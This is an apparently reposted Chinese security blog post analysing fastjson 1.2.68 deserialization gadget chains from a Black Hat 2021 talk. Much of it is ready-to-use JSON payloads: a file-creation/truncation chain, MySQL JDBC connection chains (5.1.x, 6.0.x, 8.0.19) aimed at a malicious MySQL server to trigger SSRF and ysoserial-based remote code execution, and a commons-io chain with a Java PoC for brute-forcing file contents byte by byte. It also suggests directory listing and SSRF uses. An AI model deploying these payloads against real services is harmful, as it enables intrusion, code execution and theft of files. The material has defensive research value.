关于blackhat2021披露的fastjson1.2.68链

2021-08-10 20:48:43 Author: wiki.ioin.in 阅读量:817 收藏

熟悉fastjson1.2.68反序列化的请直接看三。

一、fastjson 1.2.68反序列化历史

fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype,此漏洞自披露以来一直被各路大神研究,试图找出一些实用的反序列化链。

比如浅蓝的研究,一些信息泄露的链,一些需要多个第三方jar包的文件写入链。

https://b1ue.cn/archives/348.html

https://b1ue.cn/archives/364.html

https://b1ue.cn/archives/382.html

比如其他大神的研究,找出了一条原生JDK11实现的链

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

http://scz.617.cn:8/web/202008081723.txt

http://scz.617.cn:8/web/202008100900.txt

http://scz.617.cn:8/web/202008111715.txt

当然,此链在部分JDK8也能实现,为什么请看二。

JDK11中还有很容易发现的新建空白文件或者清空已存在文件的链

{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/123","append":false}

因为都是文件写入链,在不支持jsp的情况下不容易RCE,于是LandGrey研究出来了覆盖charsets.jar的方法RCE。

https://landgrey.me/blog/22/

后面还有一条仅需commons-io-2.x.jar包的文件写入链。

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

二、fastjson 反序列化的特点

在寻找fastjson反序列化的时候还要知道它的一些特点。

fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。比如

{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}

使用parseObject()来反序列化json还会自动触发getter,如果使用的是parse()此外还有$ref的方法来触发getter

{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":{"$ref":"$.name"}}

此时会先检测有没有 AutoCloseableEvil(),有则调AutoCloseableEvil(),再调setName("luoke")。
没有则找参数最多的,也就是调用AutoCloseableEvil("luoke", null) ,注意这里参数名得为name,否则会都传null。

package test;
public class AutoCloseableEvil implements AutoCloseable{
public AutoCloseableEvil() { System.out.println("1"); } public AutoCloseableEvil(String name) { System.out.println("2:"+name); } public AutoCloseableEvil(String name, int age) { System.out.println("3:"+name); } public AutoCloseableEvil(String name,String name2,String name3) { System.out.println("4:"+name+name2+name3); } public void setName(String test){ System.out.println("set5:"+test); } public String getName(){ System.out.println("get6"); return "get6"; } public void close() throws Exception {
}}

但是由于第二种方法存在一定兼容性问题,因为AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。
fastjson使用

String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。
从JDK8的rt.jar以及JDK11的modules(linux中jimage extract modules解压)中分别获取FileOutputStream.class进行对比,可直接记事本打开搜索LocalVariableTable和变量名,也可以javap -l FileOutputStream.class

从原理上解释了为什么JDK8会报错,这可以算是fastjson的BUG,见https://github.com/alibaba/fastjson/issues/1569

三、mysql利用链

blackhat2021上再次抛出多条利用链,

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

首先是我心心念的mysql SSRF/RCE链。

这是别人提了一嘴,我就尝试去找结果太菜了找不出来,没想到隔了几天就看到了。

正如同文件相关类的继承关系导致了诸多文件写入链

class FileOutputStream extends OutputStreampublic abstract class OutputStream implements Closeable, Flushablepublic interface Closeable extends AutoCloseable

数据库常用的Connection也易导致SSRF链

public interface JdbcConnection extends java.sql.ConnectionMysqlConnectionTransactionEventHandlerpublic interface Connection  extends Wrapper, AutoCloseable

mysql的链本质上就是找一条全部可以用json数据构造并可以连接mysql的链。

这里经常用到Replication和LoadBalanced,可以了解一下。

https://blog.csdn.net/weixin_33754065/article/details/92072857

先看5.1.x(SSRF),5.1.11-5.1.48(反序列化链)

{  "@type": "java.lang.AutoCloseable",  "@type": "com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo": "127.0.0.1",  "portToConnectTo": 3306,  "info": {    "user": "yso_CommonsCollections4_calc",    "password": "pass",    "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize": "true",    "NUM_HOSTS": "1"  },  "databaseToConnectTo": "dbname",  "url": ""}

com.mysql.jdbc.JDBC4Connection

    public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {        super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);        // TODO Auto-generated constructor stub    }

全是string,int,Properties,然后以ConnectionImpl建立连接。

此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。

通过连接恶意mysql服务器,可导致客户端被反序列化。详情见https://github.com/fnmsd/MySQL_Fake_Server

全是string,int,Properties,然后以ConnectionImpl建立连接。

此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。

6.0.2/6.0.3(反序列化)

{       "@type":"java.lang.AutoCloseable",       "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",       "proxy": {              "connectionString":{                     "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"              }       }}
    public LoadBalancedConnectionProxy(ConnectionString connectionString) throws SQLException {        super();

这个更简单,直接构造个connectionString也就是jdbcurl就能连接mysql了。

最后以pickNewConnection()建立连接。

为什么6.0.4不行了呢,构造方法变了。

    public LoadBalancedConnectionProxy(LoadbalanceConnectionUrl connectionUrl) throws SQLException {        super();

虽然LoadbalanceConnectionUrl在6.0.4版本中可以继续如下构造

    public LoadbalanceConnectionUrl(List<HostInfo> hosts, Map<String, String> properties) {

但这个HostInfo最终却构造不出来了。

8.0.19(反序列化链),8.0.19+(SSRF)

{       "@type":"java.lang.AutoCloseable",       "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",       "proxy": {              "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",              "connectionUrl":{                     "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",                     "masters":[{                            "host":""                     }],                     "slaves":[],                     "properties":{                            "host":"127.0.0.1",                            "user":"yso_CommonsCollections4_calc",                            "dbname":"dbname",                            "password":"pass",                            "queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",                            "autoDeserialize":"true"                     }              }       }}

这里ReplicationMySQLConnection换成MultiHostMySQLConnection或者LoadBalancedMySQLConnection都不影响。因为他们都支持MultiHostConnectionProxy。

而LoadBalancedConnectionProxy支持ConnectionUrl

public LoadBalancedConnectionProxy(ConnectionUrl connectionUrl) throws SQLException {

但8.0.18版本LoadBalancedConnectionProxy就不支持ConnectionUrl,只支持LoadbalanceConnectionUrl

public LoadBalancedConnectionProxy(LoadbalanceConnectionUrl connectionUrl)

虽然8.0.x和6.0.4的LoadbalanceConnectionUrl稍微有点不一样,但都无法继续构造了。

这里会有聪明的小朋友说,要不要试试

ReplicationMySQLConnection

ReplicationConnection

ReplicationConnectionUrl

这条链呢?

很遗憾,ReplicationConnectionProxy构造方法是私有的

    private ReplicationConnectionProxy(ReplicationConnectionUrl connectionUrl) throws SQLException {        super();

因此这个SSRF链只能8.0.19及以上版本,并且能够反序列化的只有8.0.19这一个小版本。

这里我尝试用作者的思路去找其他SSRF链,最终找到了一条,但无法用于反序列化。

5.0.2-5.1.5(SSRF)

{       "@type":"java.lang.AutoCloseable",       "@type":"com.mysql.jdbc.ReplicationConnection",       "masterProperties":{              "HOST":"127.0.0.1",              "user":"yso_CommonsCollections4_calc",              "password":"pass",              "statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",              "autoDeserialize":"true"       },       "slaveProperties":{              "HOST":"127.0.0.1",              "user":"yso_CommonsCollections4_calc",              "password":"pass",              "statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",              "autoDeserialize":"true"       }}

四、commons-io文件读取链

pdf中还披露了一条文件读取的链,不太完整,我将其复现了出来。

{    "abc": {        "@type": "java.lang.AutoCloseable",        "@type": "org.apache.commons.io.input.BOMInputStream",        "delegate": {            "@type": "org.apache.commons.io.input.ReaderInputStream",            "reader": {                "@type": "jdk.nashorn.api.scripting.URLReader",                "url": "file:///D:/1.txt"            },            "charsetName": "UTF-8",            "bufferSize": 1024        },        "boms": [{            "charsetName": "UTF-8",            "bytes": [66]        }]    },    "address": {        "$ref": "$.abc.BOM"    }}

这里是利用getBOM方法去对比reader中是否包含boms,因此利用的时候需要有个返回点。原文中是利用了报错和没有返回包的不通来判断的。

POC如下,D:\test\1.txt内容为1test

package test;
import java.io.FileInputStream;import java.util.Arrays;import com.alibaba.fastjson.JSON;
public class Fastjson { public static void main(String[] args) throws Exception { FileInputStream inputFromFile = new FileInputStream("D:\\test\\1.txt"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); System.out.println(Arrays.toString(bs)); String payload = "{\r\n" + " \"abc\": {\r\n" + " \"@type\": \"java.lang.AutoCloseable\",\r\n" + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\r\n" + " \"delegate\": {\r\n" + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\r\n" + " \"reader\": {\r\n" + " \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\r\n" + " \"url\": \"file:///D:/test/1.txt\"\r\n" + " },\r\n" + " \"charsetName\": \"UTF-8\",\r\n" + " \"bufferSize\": 1024\r\n" + " },\r\n" + " \"boms\": [{\r\n" + " \"charsetName\": \"UTF-8\",\r\n" + " \"bytes\": [49]\r\n" + " }]\r\n" + " },\r\n" + " \"address\": {\r\n" + " \"$ref\": \"$.abc.BOM\"\r\n" + " }\r\n" + "}"; System.out.println(JSON.parseObject(payload)); }}


如果bytes不为49则无返回

也就是说,这里可以挨个字节去爆破1.txt的文件内容。先爆破出49,再爆破出116,再爆破出101等等。

而且由于boms是可以用多个,可以二分法来增加效率。


当然,更多其他用法自行探索吧,比如file:///D:/test/列目录,http://x.com进行SSRF


From: https://wiki.ioin.in/url/jd4p